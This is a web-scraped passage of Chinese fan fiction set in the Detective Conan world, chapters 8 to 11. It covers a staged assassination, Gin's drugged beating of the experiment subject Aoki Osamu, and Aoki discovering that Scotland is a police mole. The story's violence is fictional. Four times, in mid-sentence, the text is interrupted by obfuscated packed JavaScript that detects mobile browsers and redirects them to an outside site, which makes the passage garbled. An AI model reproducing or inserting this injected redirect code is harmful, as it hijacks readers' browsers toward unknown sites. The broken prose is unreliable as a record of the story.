新来的实验员搞错了他的等级,在一个下午竟然把他误放出了地下实验基地,来到地面上用以掩盖的制药公司。 他在那里见到了一对夫妇,似乎是带着孩子们来参观制药公司的老师。 青木修记得当时的妇人接了一个电话,电话另一头的人称她为“诸伏太太”。 夫妇看到他,态度很亲切想要和他搭话,但是青木修出于长期没有跟人有过正常交流,有些害怕,躲开诸伏太太伸过来的手扭头就跑走了。 风谷夫妇知道他被误放出去的事情后大发雷霆,把他和那个犯了错的实验员都狠狠惩罚了一通。 “制药公司跑出一个小孩自然奇怪。” 他躺在实验室的角落,听到风谷夫妇二人的低语声。 “希望那对夫妻没有把自己在制药公司看见一个小孩的事情说出去。” “只有死人才会保守秘密。” “那就找人除掉他们。” 夫妇两人简单的几句话就决定了另一对夫妇的命运。 再听到有关那对夫妇的消息,就是诸伏夫妇二人的死讯。 惨烈的教训再次给青木修上了一课,以至于他再也不敢去主动靠近什么人。 ——直到遇见诸伏景光。 他的手心干燥温暖,看向自己的眼神里不掺杂任何其他的感情,平静、平等。 在寒风朔雪中孤身行走许久的青木修贪恋这一星半点的暖意。 组织中的传闻青木修不是没有听过,但是他控制不住自己那颗想要靠近诸伏景光的心。 飞蛾贪恋烛火的代价是死亡,但青木修并不畏惧。 杜林标喜欢苏格兰。 . “这是最新的任务。” 降谷零拿着一沓资料放在茶几上。 诸伏景光翻开一看,眉头微皱。 这次的暗杀对象是银行的高管,这个人在社会上很有名气,直接杀掉他难保不会引起什么动荡。 而且诸伏景光万万没有想到,这个看起来和蔼可亲的慈善大家不仅和组织暗地中有所勾结,甚至其名下的孤儿院还会为组织提供实验体。 实验体…… 看到这几个字,诸伏景光不受控制地转头看了一眼青木修。 看来组织的实验体还有很多来源,并非全部产出于实验室。 这个人不能直接杀,诸伏景光迅速在心中敲定好决策,并且隐蔽的和降谷零交换了一个眼神。 两人意见一致。 这位高管就算有什么错处也应该交给警察来处理,而不是任由组织杀掉。更何况,如果能把人抓到手,说不定还能从他嘴里挖出一些有关实验体的消息。 “这个人不能杀。” 警察厅某间秘密会议室里,降谷零和诸伏景光正在向两人的上司——黑田兵卫汇报有关此次行动的相关细节。 “警方应该提前控制住他,那天的活动也应该正常进行,但我们有所准备。” “那你们的打算是什么呢?” 黑田兵卫沉吟片刻,转而看向两位下属。 “我们会故意制造出一些动静,从而让现场产生混乱,接下来就要让警方及时把人转移走。” “没问题。” 黑田兵卫在纸上记录下什么信息,接着将文件递给两人,“有什么意外情况你们直接联系风见,他会把情报直接转交给我。” “明白。” “明白。” 行动当天,诸伏景光拉住装备好武器准备混入人群的青木修。 “你不要下去,跟我留下,在楼上待着。” “为什么?”青木修不解,不是说好了诸伏景光负责狙击,他则在人群中以防万一,时刻准备着给高管补刀吗? “你看下面的警察。” 诸伏景光把望远镜递给青木修,让他自己看楼下的安保情况。 “这位可是社会名流,今天的慈善活动又来了其他很多慈善家,现场名流聚集,警察的安保力量也很密集,你在下面很有可能撤不出来。” “哦哦……” 青木修顺着诸伏景光手指的方向看过去,确实发现了不少全副武装的安保人员以及警察。 “那我能帮你做什么呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976834|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 青木修乖乖听话,打消了下楼刺杀的念头。 “放心把现场交给我,你帮忙做我的观察员好不好?” 青木修抬起眼睛,“真的吗?但是我没有经验啊……会不会给你拖后腿?” 诸伏景光把望远镜重新塞回青木修手里,“很简单的,你只用帮我观察楼下的情况就好,剩下的任务放心交给我。” “好的。” 对于诸伏景光,青木修根本不疑有他。 楼下的活动没多久就开始了,受邀到场的慈善家们挨个上台发言。 诸伏景光趴在瞄准镜后,紧紧盯着任务目标的一举一动。 轮到高管上台发言了,诸伏景光手指微动,扣下扳机,一枚子弹立刻呼啸而出,只可惜准头偏了一点,擦着高管的耳朵飞过,溅起一片血光。 “啊——!” 人群中很快爆发出骚乱,原本聚集在一起的人群立刻混杂起来。 青木修通过望远镜注意到有警察朝这两人的方向看过来。立刻一把抓起诸伏景光。 “快走!” “子弹是从那个方向过来的!” 现场警察数量众多,也有不少狙击手在暗处隐藏,没花几分钟的功夫就大致分析出弹道方向,几乎是立刻就有警察奔着他们的位置跑过来。 “快下楼!” 青木修看着诸伏景光三两下拆好狙击枪放进贝斯包,接着两人便冲下居民楼。 “他们在那里!” 糟糕,被警察发现了!两人听到身后的喊声,不约而同拉起口罩,又加快了脚步。 “你先走!” 青木修大力推了一把诸伏景光,直接把他推进混乱的人群中,自己则脚步一转,扭头向另一个方向跑去。 “不许动!” 身后传来警察的鸣枪警示声,青木修脚步不停,继续向前跑去。 “嘭——” 一声枪响,青木修的身影猛地向前带了一步,接着在地上打了个滚。 他中枪了。 但是青木修根本不敢有任何停歇,就着在地上翻滚的力道爬起来,捂着肩膀继续向前跑去。 “呼……呼……” 他虽然没什么痛觉,但是失血再加上原本的贫血症状让他很快头晕起来。 青木修咬着牙继续向前跑去。 路过一个转角之后,他原地一个跳跃,伸手拉住居民楼上自己拉起来的晾衣绳,顺着晾衣绳翻进居民楼。 如果留下血迹,难免不会让警方查出生物信息,青木修只好脱下外套在肩膀上绑成结,以此来暂时止血。 “人往前面跑了!快追!” 楼下传来警察的呼喊声。 “呼……” 青木修靠墙坐在楼梯间里,等着楼下的脚步声逐渐散去,才敢从居民楼里出来,踉踉跄跄地顺着小路返回安全屋。 “苏格兰……” 等到他推开安全屋的大门时,天已经黑了,原本绑在肩膀上用于按压止血的衣服已经被鲜血浸透,青木修带着一股血气进屋,嘴唇苍白。 看到诸伏景光全须全尾的坐在客厅里等他,青木修才放松了一直紧绷着的神经,闭上眼睛昏死过去。 9. 第 9 章 等青木修再次恢复意识,诸伏景光已经为他简单处理好伤口,正坐在床边守着他。 “醒了?” 见青木修想要自己坐起来,诸伏景光连忙伸手拉住她,方便给他借力。 “这段时间先不要随便动你的左胳膊。” “为什么?” 青木修歪歪头,他又没什么痛觉,这点小伤不影响他做事。 “你觉得这是小伤?” 诸伏景光仿佛看出来他心里在想什么,“枪伤不好好修养你可能就废了明白吗?” 青木修乖乖点头,“不痛的,而且我是左撇子,不能用左手很不方便的。” “没关系,我先照顾你一段时间吧。” 诸伏景光似乎早就想好了,开口问道,“你觉得怎么样?” “唉?!” 青木修反应很大,直接从床中央缩到床边上,“这、这不好吧?” 要知道他现在对诸伏景光可是心思不纯啊! 但是诸伏景光却没有想那么多,“不愿意吗?但是你的伤……” 他眼睁睁地看见青木修的脸颊逐渐被晕染上一抹红。 “你……” 你害羞了? 诸伏景光想要这么问,却又害怕这会让青木修感到尴尬,便又把话咽回肚子里。 两个人中间的气氛一时间凝固住了。 过了好半晌,青木修才微抬起眼帘,小心翼翼地看向诸伏景光,“真的不麻烦你吗?” “不麻烦,本来就是你因为我受的伤,照顾你也是应该的。” 诸伏景光主动拉起他没有受伤的右手,开玩笑似的说:“我还以为你会嫌弃我呢。” “不会的不会的!” 青木修赶忙摇头,上怕自己说晚了诸伏景光就会离自己而去一样。 “那就——多多关照啦!” 他的脸红扑扑的,眼睛里泛着水光,目光莹润透亮,让动机不纯的诸伏景光心脏狠狠跳动了一下。 “咳咳——” 降谷零这时候敲响了房间的门,打断两人的谈话。 显然,他刚刚在门口听到了两人的说话内容。 青木修听到他的声音,瞬间触电似的松开诸伏景光的手,盘腿坐在床沿上,欲盖弥彰。 “很抱歉打扰到你们两个谈心——” 青木修的躲闪正好让他忽视了降谷零一直落在诸伏景光身上的眼神。 “琴酒让你们去基地一趟,就任务失败给他一个解释。” 听到“琴酒”二字,杜林标脸上的笑容渐渐消失了。 诸伏景光倒是没什么反应,只是有些为即将见到琴酒感到有些头疼。 毕竟这个家伙可不好糊弄,想来不管他怎么解释,这次都躲不过惩罚了。 回想起曾经才进入组织时因为犯错而进了惩戒室的经历,诸伏景光感到一阵牙酸。 那段经历对他来说还是很难忘的,当时他还没有分到威士忌小组,正处于一个人单干的时间,那顿惩罚让他一个人在出租屋里躺了整整一天才缓过劲来。 但是今天一顿罚恐怕一时跑不了,毕竟是他自己让青木修不要下楼,否则以他的身手,即便有那么多警察和保安也难以留下那位高管的性命。 “走吧……”诸伏景光迅速给自己做好心里建设,伸手把青木修从床上拉下来,“去见见琴酒。” 明明犯了错的人是诸伏景光,但青木修看上去却比他还要紧张。 在去组织基地的路上,诸伏景光注意到青木修的下颌一直紧紧绷着,嘴唇也下意识抿起来。 “我没事,不要担心。” 感受到诸伏景光落在自己身上的目光,青木修转过头,露出一个安抚性的笑容,“琴酒不会罚你的。” 诸伏景光只当他在安慰自己,他苏格兰威士忌又不是什么重要人物,犯了错自然得按照组织的流程来。 两人在惩戒室里找到琴酒,后者正靠在一张椅子上抽着烟,看样子已经在这里等了有一会儿。 “我还以为你俩不会来呢。” 琴酒仿佛对谁都是这幅样子,没什么好态度,好在诸伏景光早就习惯他这个样子,直接忽视掉琴酒话中的嘲讽,“说吧,这次的惩罚是什么?” “苏格兰?”这倒是有些出乎琴酒的意料了,“没想到犯错的人是你啊。” “我……” 诸伏景光正想要补充什么,突然被青木修一把塞到背后去! “不是的!” 青木修挡在两人中间,用自己的身形死死遮盖住诸伏景光,昂起头看向琴酒,“犯错的人是我!” 诸伏景光注意到对方落在自己手腕上的右手还在微微颤抖,显然是十分害怕琴酒,依然坚定地护在自己面前。 “怎么说?你们俩要在我面前上演一出‘兄弟情深’?” 琴酒也没想到青木修会突然站出来。 “还是说——苏格兰你有意在维护杜林标呢?” 他的笑容很是恶劣,“这么短的时间,你就和他培养出感情了?” “琴酒你在胡说什么?我们就事论事!” 诸伏景光想从青木修身后出来,但是对方的右手铁钳一样把他固定在原地,动弹不得半分。 “不是的!” 青木修的声音发着抖,但音量不小,甚至在逼仄的惩戒室里形成了一阵回音。 “是我犯了错!”他看向琴酒狼一样碧绿的眼睛,“是我没有来得及按照苏格兰的要去到达隐藏地点,这才让那个人在那么多警察的保护下捡回一条命。” “没有到达隐藏地点?”琴酒虽然还在反问,但明显已经对青木修的话相信了七八分,抬手将没有吸完的烟摁在青木修的肩膀上。 感受到肩膀上传来的热意,青木修用了力气顶住琴酒施加下的力道,半步不曾退让。 “是,原因都在我身上。” “苏格兰不是狙击手吗?你没有完成的任务,他为什么不及时补枪?” 琴酒果真不好糊弄,诸伏景光想要说什么,却发现嗓子一阵发哑,干得说不出一个字。 “现场有太多的人,我们在楼上观察时就发现那里没有什么合适的狙击点位,苏格兰这才安排我下楼准备进行暗杀。” 说出第一句话之后,青木修整个人放松多了,后面的话也越说越顺畅,话语间把诸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976835|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏景光从任务失败的原因里摘得干干净净。 “我们商量好了,他只需要试着开枪吸引注意力就好,事情怪我没有按时到达。” 弄清楚了主要责任人,琴酒也没有多余的耐心去听青木修解释自己为什么没有在苏格兰制造出混乱之前就到达点位。 “伸手。” 琴酒从一旁的托盘里挑挑拣拣拿出一支针剂,青木修深吸一口气,终于放开诸伏景光,自己把衣袖挽好,伸到琴酒面前。 诸伏景光眼看着药剂全部进入青木修的血管。 “这是干什么的?” 他疑惑道。 琴酒难得愿意给诸伏景光解惑,“放大他的痛觉神经,不然普通的惩罚对他来说根本没有用。” 不到五分钟,诸伏景光听见青木修开始小声地倒抽气。 看起来是药剂起作用了。 诸伏景光正想提醒琴酒青木修受了伤,只见琴酒抬腿对准青木修就是一脚! “呃!” 青木修毫不设防他会突然动手,整个人直接撞到惩戒室的墙上,受伤的左肩在触碰到墙壁的刹那,他的脸部肌肉就是一哆嗦。 “琴酒!” 诸伏景光终于找回了自己的声音,“杜林标他受了伤,你下手有点分寸!” 琴酒已经把青木修重新提起来,闻言侧头乜了他一眼,“受伤了?” “是……” 诸伏景光直觉这家伙嘴里蹦不出什么好话。 “这又能怪谁呢杜林标?” 琴酒把青木修提近了一些,低声询问,“苏格兰说你受伤了,让我下手轻一点,你觉得呢?” 青木修只觉得整个后背的骨头都在疼,尤其是自己的左肩膀,伤口似乎又撕裂了,泛着细细密密地刺痛,神经一跳一跳的,不断刺激着他。 “怪我……” 这个姿势实在是难受极了,青木修不自觉地想要挣扎一下,却被琴酒从一旁抄起的鞭子一鞭抽的重新撞在墙上。 “没错,责任在你自己身上,只有废物才会让自己受伤。” 琴酒对青木修简直实施着单方面的虐打,诸伏景光好几次想要上前护住青木修,动作都被琴酒很有技巧的躲开,保证每一下都精准无误的落在青木修身上。 “看来传闻没有说错。” 直到看着青木修在地上好半天爬不起来,琴酒这才收了手,转头看向诸伏景光,“你对他的感情还真是不一般。” “用得着你管吗?” 诸伏景光蹲下身子,试图把青木修从地上捞起来,但是后者被琴酒打的几乎快没了意识,躺在地上半天没能站起来。 “你们之间愿意调酒我自然管不着,”琴酒重新点起一支烟,居高临下地看着诸伏景光,“只是好心提醒你一句,这个家伙玩玩就够了,可别付出什么真感情。” 青木修恢复了些许意识,闻言收紧了手指,嗓子里发出几个意义不明的字符。 “你什么意思?” “意思就是——”琴酒笑容扩大了几分,其中的恶意几乎满溢出来,“他指不定哪天就死了,到时候我可不希望看见你为此意志消沉,耽误了正常任务。” 10. 第 10 章 说完,琴酒也不管诸伏景光是什么反应,抬脚离开了惩戒室。 “还能站起来吗?” 诸伏景光推了推躺在地上的青木修,刚才他可是看见琴酒对着对方的膝窝来了好几脚,想来现在要动弹是有些困难。 “我……” 青木修身上的药剂时效还没过去,现在的他浑身上下每一个细胞都在叫嚣着疼痛。 他双手撑地想要试着站起来,但忘记了自己还受伤着的左肩,一个用力不稳,重新摔在了地上。 “琴酒下手也未免太重了……” 诸伏景光见他挣扎了好半天也没能成功站起来,只好自己先半蹲,一手搭在青木修后颈处,一手伸进他的膝窝下方,用力把人抱起来。 “苏格兰!” 青木修大惊,几乎是下意识地抬起手,抱住诸伏景光的脖子。 “别乱动,我带你回家。” 青木修没有诸伏景光想象中的那么重,甚至有些太轻了,抱在怀里只觉得薄薄的一片。 “苏、苏格兰,你放我下来!” 青木修整个人直线升温,说着就在诸伏景光怀里挣扎起来。 “不要动。” 诸伏景光坏心思地把他往上掂了掂,吓得青木修直接缩在诸伏景光的怀里不敢再乱动弹。 青木修挨得这顿打可比诸伏景光曾经犯错时挨的那一顿要重得多,他有些想不明白,“琴酒对你下这么重的手干什么?” “我……”青木修在这之前从来没有想过自己接受的惩罚会比其他人要重这个问题,“不太清楚……我犯了错一直都是这样的……不管在哪里。” “不管在哪里?” “对啊,”青木修想了想,“不管是在实验室还是在训练场,只要我犯了错,他们一直都是这么对我的。” “你就没想过反抗?” 诸伏景光说完就后悔了,青木修作为一个实验体,身家性命都在别人手上,哪里有资本反抗? “反抗?” 青木修从来没考虑过这个可能。 诸伏景光这时候已经带他离开基地,放进了车,说话也就相对少了些顾及。 “你可以试着反抗一下,”他想了想,决定还是告诉青木修自己的想法——不管是出于以后的打算,还是真的为青木修考虑,“你其实和我们一样的,都有明确表达自己不喜欢的权力。” “你不发表你的意见,怎么会知道他们会不会有所改变呢?” “我也可以反抗吗?但是……” 青木修还有些犹豫,他对琴酒等人长期以往的恐惧不是假的。 “你不用那么害怕他们,”诸伏景光摸摸他的头,“大家都一样,只要你不是犯了错,平时的时候你可以试着表达自己的看法,别那么害怕他们。” “我明白了。” 青木修若有所思的点点头。 似乎是诸伏景光就坐在自己身边的缘故,青木修很快的放松神经,甚至在回安全屋的路上浅浅的睡了一觉。 考虑到琴酒下手之重,诸伏景光把青木修架在肩膀上,一点点搀扶着对方回了屋。 “哟,怎么搞成这个样子了?” 降谷零这是明知故问,他清楚地知道两个人去基地向琴酒做简报会遭遇什么。原本他还担心着诸伏景光的情况,现在看到俩人的模样,反倒是放下心来。 还好,受伤的不是诸伏景光。 “我们去了惩戒室……琴酒下手也太重了。” 诸伏景光小心翼翼地把青木修安置在沙发上,转身要去厨房做饭。 “绿川,你对这家伙也有些太上心了吧。”降谷零努努下巴,“自己犯了错就要好好接受惩罚,至于这个样子嘛?” “安室!” 诸伏景光知道降谷零还不清楚内情,正准备制止他,却没想到一直在一旁安安静静的青木修忽然开了口。 “波本,”他很认真地盯住降谷零的眼睛,架势之认真让降谷零一时间都愣住了,“请你以后不要总是这么说话。” 青木修语速不快,一字一句说的很清晰,音量正好能让屋子里的每一个人听清他的话。 “我们是一个小组的成员,我们是平等的,你不能一直这样不公平的对待我。” 降谷零愣住了,万万想不到自己有一天会听到青木修这样对自己说话。 “你……”他指指青木修,又指指自己,“我……” 最后,降谷零看向了诸伏景光,“他……” 就连一直不怎么参与进小组谈话的诸星大都停止自己保养狙击枪的动作,掀起眼皮看向诸伏景光——这两个人众所周知的关系好,青木修是什么性格大家也都知道,要是能有什么变化那肯定是受了苏格兰的影响。 “是我教他的……” 诸伏景光也没料到青木修这么快就把理论运用进实践。“我教他,大家都是平等的,在没有犯错的前提下,有什么令自己不舒服的事情可以说出来。” 好家伙,原来根源在诸伏景光。 既然是幼驯染这么教他的。降谷零也没什么好说的了。 “好吧……我以后注意。” 听到他的保证,青木修第一反应是去看诸伏景光。 他的嘴角挑起一个小小的笑容,眼睛里发着光,好像是在向诸伏景光求表扬的小狗。 “嗯,”诸伏景光难得看幼驯染在青木修身上吃瘪一次,也没憋住笑容,“你做的很对。” 看着他们三人之间的互动,诸星大觉得自己好像错过了什么,“你们俩个……真会玩儿。” 不管是出于什么心理,诸伏景光都履行了自己的诺言:好好照顾青木修直到他康复。 考虑到青木修也是一个左撇子,自己又不允许他怎么用左手,诸伏景光干脆在最开始的那一段时间承担起给青木修喂饭的重任。 每次降谷零看到诸伏景光给青木修喂饭就觉得一阵牙酸,但是自己又答应了青木修不再阴阳怪气什么,只能自己把心中的怪异感忍下来,至于诸星大?他更是直接找上过诸伏景光控诉对方精神虐待,不过并没有什么结果就是了。 最开始青木修还会因为诸伏景光给自己擦拭后背感到害羞,甚至会在对方的指尖触碰到自己后背上的疤痕增生时控制不住的颤抖,直到后来之间长了,也就慢慢适应了。 . 组织里的人发现杜林标最近有了变化,不仅跟苏格兰走的更近了,平日说话时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976836|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气里带的低声下气也没有了,跟人交谈时也敢直视对方的眼睛了。 “宝贝……你的变化还真是大啊。” 最先看出来的人是贝尔摩德,在一次集体会议之后,她拦住青木修。 “我听苏格兰叫你‘青木’?怎么,他们给你起名字了吗?” “我有名字了,”提起这个青木修的眼睛里不自觉沾染上了笑意,“平时在大街上走着叫代号总是不方便,苏格兰就帮我起了个名字。” “是吗?” 贝尔摩德摸摸下巴,“那你的名字叫什么?” “青木修,我是青木修。” 青木修郑重其事地向贝尔摩德介绍自己。 “青木修啊……” 贝尔摩德倒是没有多想,也就没发现当初诸伏景光给他起名字时暗藏的含义。 “也挺好的。” “青木!” 两人说话间,诸伏景光远远地找过来。 “贝尔摩德,你找他有什么事吗?” 诸伏景光几乎是无意识地挡在青木修和贝尔摩德之间:他知道青木修一直以来都有些不太喜欢贝尔摩德,尤其是听到青木修讲了姐姐的死因之后。 “倒是没什么大事,就想找你们借杜林标一用。” “你不用找我们借,”诸伏景光纠正她的用词,“你可以直接问杜林标的意见。” “哦?” 贝尔摩德高高挑起一边眉毛,视线在两人之间扫了扫,逐渐变得意味深长,“看来有变化的不仅仅是杜林标啊……” “苏格兰,我劝你一件事。” “说。” 诸伏景光不明白怎么一个两个都要教他做事,琴酒是,贝尔摩德也是。 “你对杜林标,可千万不要付出太多真心哦。” 贝尔摩德一点也不顾及青木修就站在这里,“万一他以后出了什么事,你可千万不要为他伤心哦。” “他能有什么事?难不成会被警方抓到?” 诸伏景光没有否认自己和杜林标的关系,但也没有承认,而是态度模糊。 “或许,他会在警方抓住他之前就死掉。” 贝尔摩德先是冷着脸,很认真地说出这番话,接着又在两人表情都不是很好看时“噗嗤”一声笑出来。 “好了好了,也不逗你们俩了。” 诸伏景光悬起来的心浅浅放下去了一半。 “不过我还是要提醒你们俩,在这个组织里没有真心,一切付出真心的人都会为此得到惩罚。” “知道了,”诸伏景光对他们这一套故弄玄虚的做法实在是没了兴趣,有些敷衍道:“我知道分寸。” “是吗?”贝尔摩德笑容不变,“希望几年后你还能记得今天说的话,苏格兰。” “我的记性很好,还用不着你来提醒我。” 诸伏景光冷冷道。 “怎么你也和琴酒一样没意思?”贝尔摩德把视线转向青木修,“话说,你愿不愿意帮我一个忙?” 这可真是太少见了,贝尔摩德居然会对着自己用“帮忙”这个词。 青木修感到很新奇,思考了片刻也答应下来,倒是想要看看贝尔摩德葫芦里卖的是什么药。 11. 第 11 章 青木修被贝尔摩德“借走”,诸星大又跟着琴酒出任务去了,诸伏景光忙趁着机会拉上降谷零交换情报。 “这是我最新查到的线报。” 诸伏景光谨慎地从暗格里取出一枚U盘,插入电脑。 “你怎么……?” 降谷零有些吃惊,似乎没想到诸伏景光人在行动组还能查到这么多情报。 “这些是我用了青木修的权限去查的,”诸伏景光冲着降谷零挤挤眼睛,“他在组织中的身份很特殊,有一些权限是我们没有的。” 青木修现在对他很依赖,基本上不会起疑心,诸伏景光只是随口问了几句,青木修就直接把自己的内网权限交给诸伏景光。 “不要告诉别人我把权限借给你了。” 青木修当初还找诸伏景光要了保证。 想到自己当时一本正经的承诺,诸伏景光莫名有些心虚。 “他就这么相信你?我觉得你还是适当和他保持一些距离比较安全。” 降谷零从始至终都没有对青木修放下警惕,一边查看资料,一边不忘记提醒诸伏景光。 眼看降谷零将所有的资料打包好上传,诸伏景光清空电脑里留下的所有痕迹,转身把U盘重新收回暗格。 “不过是利用关系,我……” 他的话一下子压在嗓子眼——青木修不知何时赶回来,正站在门后,手里还拿着一束花。 “青木,”诸伏景光好半天才找回自己的声音,“你怎么回来了?什么时候到的?” 不仅是诸伏景光,降谷零的背后也起了一层白毛汗,两人现在都很紧张,不知道青木修把他们的对话听进去了多少。 青木修的眼睛里逐渐覆上一层水光。 “也就是刚刚回来。” 他若无其事地把花束收回怀里,也就是这个时候,诸伏景光才注意到青木修手臂上包扎的绷带。 “你受伤了?怎么搞得?” 诸伏景光尽量让自己的声音听起来自然一些,作势就要上前查看青木修的伤势。 “不用了,”青木修躲开他的手,看向他的目光复杂又深沉,藏着诸伏景光看不懂的情绪,“一点小伤,不疼。” “还是看看吧,万一……” 诸伏景光还想说什么,但是青木修没有给他这个机会。 “谢谢你苏格兰,但是……我觉得我们还是保持一些距离比较好。” 青木修后退一步,拿着花转身出了安全屋的门,留下诸伏景光和降谷零两人在房间里面面相觑。 “青木,看起来心情不太好啊?” 青木修下楼,面无表情地将已经被自己捏变形的花束扔进垃圾桶,转身却碰上了购置生活用品时经常遇到的老太太。 “您好,”青木修勉强笑出来,“没什么,只是遇到了一点事情,您需要帮忙吗?” “不用啦,我自己就可以。”老太太婉拒了青木修的好意。 “您慢走。” 强撑着笑容目送老妇人上楼,青木修再也绷不住自己的表情,嘴角一下子垮下来。 天逐渐黑了,青木修一个人漫无目的地在大街上游荡,心情乱糟糟的。 他其实很早就回来了,站在门口几乎把降谷零和诸伏景光两人之间的对话听了个全。 他们俩是老鼠…… 青木修很慌张,不知道自己要不要和琴酒说这件事,但更让他伤心的是诸伏景光说出“不过是利用关系”的语气,和组织里的那些人对待他的语气并没有什么本质区别。 原来你们都是一样的…… 杜林标感觉脸上凉凉的,一摸才发现是眼泪。 他抬手想把眼泪擦掉,却发现怎么也擦不干净。 “苏格兰……” 青木修咬住下唇,恨恨出声。 他不明白苏格兰为什么一样看不起他,还要每天装出那种样子,对他那么好? 青木修觉得这样很恶心。 他的心中闪过一丝怨恨,但很快被酸涩淹没。 他知道自己现在唯一能做的事情就是去找到琴酒,然后告发波本和苏格兰两个人。 但是走到一半他就停住了。 “苏格兰!” 青木修给了自己一拳,想要通过疼痛让自己清醒一点,但悲哀的发现自己几乎没什么痛感。 他忍不住哭出声,但即便是这样,他也不敢顺从自己的心意放声大哭,而是把脸埋在臂弯里,咬着袖子“呜呜”的小声啜泣。 他这会儿简直要恨死苏格兰了,这个家伙不仅欺骗自己,而且还是琴酒最痛恨的老鼠! 他不过是仗着自己的爱才能这么肆无忌惮罢了! 青木修很想去告发苏格兰,可心中不断有一道声音在问他,“这样做就是对的吗?” 对吗?青木修在心中问自己,向琴酒告发苏格兰就是正确的事情吗? 他很纠结,按照杜林标的角度想,确实应该第一时间向琴酒汇报这件事,但是从青木修的角度出发,他发现自己也是痛很着组织的,他也想去看一看没有组织的世界到底是怎样的。 “苏格兰你就是个混蛋!” 他越是想让自己冷静思考,心中的感觉越是混乱,以至于青木修烦躁地解开胳膊上的绷带,用手指去抠挖那道狭长的伤口,拼了命的想获取一丝痛感来让自己好好清醒清醒。 哪怕他做到这种地步,伤口处也不过仅仅有一些微痒,根本起不到醒神的作用。 纠结再三,青木修还是忍住了向琴酒告发两人的冲动,脚步一转,去了组织在东京旗下的一家地下酒吧。 “叮铃铃……” 酒吧大门上悬挂的风铃作响,青木修裹着一身的寒意走进来,径直坐在吧台上。 “你好,想要喝点什么?” 训练有素的酒保放下手中擦拭的玻璃杯,彬彬有礼地向青木修问道。 “一杯……一杯锈钉,谢谢。” 实际上,这还是青木修第一次一个人在非任务期间来这里。 之前他的生活都有严格的规定,像酒精类的的东西是万万不可以触碰的,即便是现在,实验中心也没有明确表明他可以接触酒精。 明知道自己这样做很有可能招致一顿惩罚,青木修偏偏像是生出了叛逆心理似的,坐在吧台接过酒保递来的酒杯,将暗红色的液体一饮而尽。 “再来一杯,谢谢。” 酒精入喉,是辛辣的口感,杜林标一个没留神被呛住,咳得眼泪都要出来,好半天才缓过神,第一件事就是找酒保再要一杯酒。 他好像明白了为什么有些成员任务失败接受惩罚后喜欢来这里喝一杯了。 酒精逐渐麻痹大脑,青木修觉得心中汹涌澎湃的酸涩之感似乎消减了不少。 他一杯接着一杯要酒,很快便引起了酒吧里其他组织成员的注意。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976837|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不是杜林标吗?” 身后传来一声不怀好意的戏弄声。 青木修回头,认出身后的人是他之前待过的一个小组成员。 “怎么?被苏格兰威士忌抛弃了?来这里喝闷酒?” 周围响起一片嘻嘻哈哈的嘲弄声。 来这里的人都是组织的正式代号成员,或多或少都了解过杜林标,更听到过组织里最近关于苏格兰威士忌和杜林标之间的传闻,因此这会儿嘲笑起来也就毫不客气。 “关你什么事?” 被戳中心事,杜林标心口一痛,但还是故作无事,横着眼睛说,“你这次的任务顺利完成了吗?” 他记得这个家伙总是因为完不成任务挨罚,嘴上也就没有客气。 “你!” 站在他身后的男人见青木修敢这么忤逆自己,抬手就要来打他。 “啪!” 一声脆响,整个酒吧都诡异的安静下来。 杜林标居然动手打人了?! 在场的人几乎都不敢相信自己的眼睛:青木修一手拦住那名成员冲着自己甩过来的巴掌,一手抢先对准对方的脸甩了一巴掌。 力道之大,直接把那名成员抽得侧过头去。 有眼尖的人发现,被打的那人嘴角缓缓流下一丝血迹,可以想象青木修究竟用了多大的力气。 “你居然敢打我?你找死?” 被打的成员也很是意外,再加上青木修那一巴掌力气实在是太大,他过了好一会儿才回过神,怒不可遏,作势就要抬腿踢人。 “够了,这里不是你们打架的地方。” 一道女声及时喝止住他们俩之间一触即发的架势。 是贝尔摩德。 杜林标看了她一眼,率先收手,重新坐回吧台前的椅子上。 那名成员原本还有些不情愿,但被贝尔摩德一个眼刀制止,只好悻悻作罢。 “算你小子今天走运。” 她临走之前还不忘记撂下狠话。 